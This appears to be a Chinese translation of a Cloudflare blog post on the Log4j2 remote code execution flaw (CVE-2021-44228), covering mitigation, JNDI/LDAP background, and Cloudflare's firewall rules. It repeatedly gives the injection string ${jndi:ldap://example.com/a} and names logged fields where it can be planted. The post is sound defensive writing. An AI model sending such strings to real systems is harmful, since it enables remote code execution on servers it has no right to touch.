cloudflare：Log4j2 漏洞詳解 (CVE-2021-44228)

在本博客帖文之前版本中，推薦了幾種稍有不同的緩解方法。Apache Log4j 項(xiàng)目更新了其官方指南，我們也根據(jù)其推薦更新了本博客帖文

昨天，即 2021年 12 月 9 日，在流行的基于 Java 的日志記錄程序包 Log4j 中發(fā)現(xiàn)一個(gè)非常嚴(yán)重的漏洞。該漏洞允許攻擊者在遠(yuǎn)程服務(wù)器上執(zhí)行代碼；也就是所謂的遠(yuǎn)程代碼執(zhí)行 (RCE)。由于 Java 和 Log4j 被廣泛使用，這很可能是自 Heartbleed 和 ShellShock 以來互聯(lián)網(wǎng)上最嚴(yán)重的漏洞之一。

該漏洞 CVE-2021-44228 影響 Log4j 介于 2.0-beta-9 到 2.14.1 之間的版本 2。在 2.16.0 中已打上補(bǔ)丁。

在本帖文中，我們介紹了該漏洞的歷史記錄，它是如何引入的，Cloudflare 如何保護(hù)我們的客戶。

Cloudflare 采用基于 Java 的軟件，我們的團(tuán)隊(duì)采取了措施，確保我們的系統(tǒng)不會(huì)受到攻擊，或者緩解該漏洞的風(fēng)險(xiǎn)。與此同時(shí)，我們推出了防火墻規(guī)則來保護(hù)我們的客戶。

但是，如果您的公司使用了基于 Java 的軟件，其中使用了 Log4j，那么您應(yīng)該立即查閱關(guān)于如何緩解和保護(hù)您的系統(tǒng)的章節(jié)，然后再閱讀其余內(nèi)容。

如何緩解 CVE-2021-44228 漏洞風(fēng)險(xiǎn)

實(shí)現(xiàn)以下某種緩解方法：Java 8（或更高版本）的用戶應(yīng)該升級(jí)到版本 2.16.0。Java 7 的用戶應(yīng)該升級(jí)到版本 2.12.2。

或者，在 2.16.0 之外的任何版本中，您可以將 JndiLookup 類從 classpath 中刪除：zip -q -d log4j-core-*.jar org/apache/logging/log4j/core/lookup/JndiLookup.class

漏洞歷史記錄

在 2013 年的版本 2.0-beta9 中，Log4j 程序包在問題 LOG4J2-313 中添加了“JNDILookup 插件”。要了解這一更改是如何帶來問題的，就需要稍微了解一下 JNDI：Java 命名和目錄接口。

自 20 世紀(jì) 90 年代末以來，Java 中就引入了 JDNI。它是一種目錄服務(wù)，允許 Java 程序通過目錄查找數(shù)據(jù)（以 Java 對(duì)象的形式）。JDNI 有多個(gè)服務(wù)提供程序接口 (SPI)，支持它使用各種目錄服務(wù)。

例如，CORBA COS（公共對(duì)象服務(wù)）、Java RMI（遠(yuǎn)程方法接口）注冊(cè)表和 LDAP 都存在 SPI。LDAP 是非常流行的目錄服務(wù)（輕量級(jí)目錄訪問協(xié)議），并且是 CVE-2021-44228 的主要關(guān)注點(diǎn)（盡管也可能使用其他 SPI）。

Java 程序可以將 JNDI 和 LDAP 一起使用來查找包含可能需要的數(shù)據(jù)的 Java 對(duì)象。例如，在標(biāo)準(zhǔn) Java 文檔中，有一個(gè)示例與 LDAP 服務(wù)器通信來從對(duì)象檢索屬性。它使用 URL ldap://localhost:389/o=JNDITutorial，從相同機(jī)器 (localhost) 上的端口 389 上運(yùn)行的 LDAP 服務(wù)器查找 JNDITutorial 對(duì)象，并繼續(xù)從中讀取屬性。

正如教程所說：“如果您的 LDAP 服務(wù)器位于其他機(jī)器上或者使用的是其他端口，那么您需要編輯 LDAP URL”。因此，LDAP 服務(wù)器可能在不同的機(jī)器上運(yùn)行，并有可能位于互聯(lián)網(wǎng)上的任意位置。這種靈活性意味著，如果攻擊者可以控制 LDAP URL，就能導(dǎo)致 Java 程序從受攻擊者控制的服務(wù)器加載對(duì)象。

以上就是 JNDI 和 LDAP 的基本情況；它們是 Java 生態(tài)系統(tǒng)中重要的組成部分。

但對(duì)于 Log4j 的情況，攻擊者可以通過在 Log4j 中嘗試編寫諸如 ${jndi:ldap://example.com/a} 之類的字符串來控制 LDAP URL。如果發(fā)生這種情況，那么 Log4j 將連接到 example.com 上的 LDAP 服務(wù)器，并檢索該對(duì)象。

發(fā)生這種情況是因?yàn)?Log4j 包含特殊語法格式為 ${prefix:name}，其中 prefix 是多個(gè)不同的查找值之一，在這些查找值中應(yīng)該對(duì) name 求值。例如，${java:version} 是 Java 的當(dāng)前運(yùn)行版本。

LOG4J2-313 添加了如下所示的 jndi 查找：“JndiLookup 允許通過 JNDI 檢索變量。默認(rèn)情況下，鍵的前綴將是 java:comp/env/，但是，如果鍵包含‘:’，則不會(huì)添加前綴。”

當(dāng)鍵中存在 : 時(shí)，如 ${jndi:ldap://example.com/a} 中那樣，就不會(huì)有前綴，并且會(huì)向 LDAP 服務(wù)器查詢?cè)搶?duì)象。這些查找可以在 Log4j 的配置中使用以及在記錄行時(shí)使用。

所以，攻擊者只需查找被記錄的一些輸入，然后添加諸如 ${jndi:ldap://example.com/a} 之類的內(nèi)容。這可以是常見的 HTTP 標(biāo)頭，如 User-Agent（通常會(huì)被記錄），或者可能是也可能被記錄的表單參數(shù)，如 username。

這種情況在基于 Java 使用 Log4j 的聯(lián)網(wǎng)軟件中很可能非常常見。更隱蔽的情況是，使用 Java 的非聯(lián)網(wǎng)軟件也可能在不同系統(tǒng)之間傳遞數(shù)據(jù)時(shí)利用漏洞。

例如，包含利用漏洞的 User-Agent 字符串可以傳遞到以 Java 編寫的執(zhí)行索引編制或數(shù)據(jù)科學(xué)的后端系統(tǒng)，并且漏洞利用可能被記錄。這就是所有基于 Java 的使用 Log4j 版本 2 的軟件都必須打補(bǔ)丁或立即應(yīng)用緩解措施的原因。即使聯(lián)網(wǎng)軟件不是以 Java 編寫，字符串也可能會(huì)傳遞到使用 Java 的其他系統(tǒng)，從而使攻擊者利用漏洞。

或者，假設(shè)有一個(gè)基于 Java 的計(jì)費(fèi)系統(tǒng)，它會(huì)記錄找不到客戶的名字的情況。惡意的用戶可能會(huì)使用包含漏洞的名字創(chuàng)建訂單，這可能會(huì)經(jīng)歷多個(gè)躍點(diǎn)（以及需要很長時(shí)間），從 Web 服務(wù)器通過客戶數(shù)據(jù)庫進(jìn)入計(jì)費(fèi)系統(tǒng)，最終在其中執(zhí)行。

而且 Java 不僅用于聯(lián)網(wǎng)的系統(tǒng)，還用于其他許多系統(tǒng)。例如，不難想象，用于掃描盒子上的二維碼的包裹處理系統(tǒng)或無接觸門卡如果使用 Java 編寫并使用 Log4j，都容易受到攻擊。在一種情況下，精心編制的二維碼可能包含帶有漏洞字符串的郵寄地址；在另一種情況下，精心編程的門卡可能包含漏洞，并被跟蹤進(jìn)出的系統(tǒng)記錄下來。

執(zhí)行定期工作的系統(tǒng)后續(xù)可能會(huì)提取漏洞利用內(nèi)容并加以記錄。因此，漏洞利用可能保持休眠，直至使用 Java 編寫的某個(gè)索引編制、打包或存檔進(jìn)程無意中記錄了惡意字符串。這可能在幾小時(shí)甚至幾天之后發(fā)生。

Cloudflare 防火墻保護(hù)

Cloudflare 為使用我們的防火墻的客戶推出了基于規(guī)則的保護(hù)，用于阻止 HTTP 請(qǐng)求中常見位置中的 jndi 查找。隨著攻擊者不斷修改利用漏洞，我們也在持續(xù)優(yōu)化這些規(guī)則。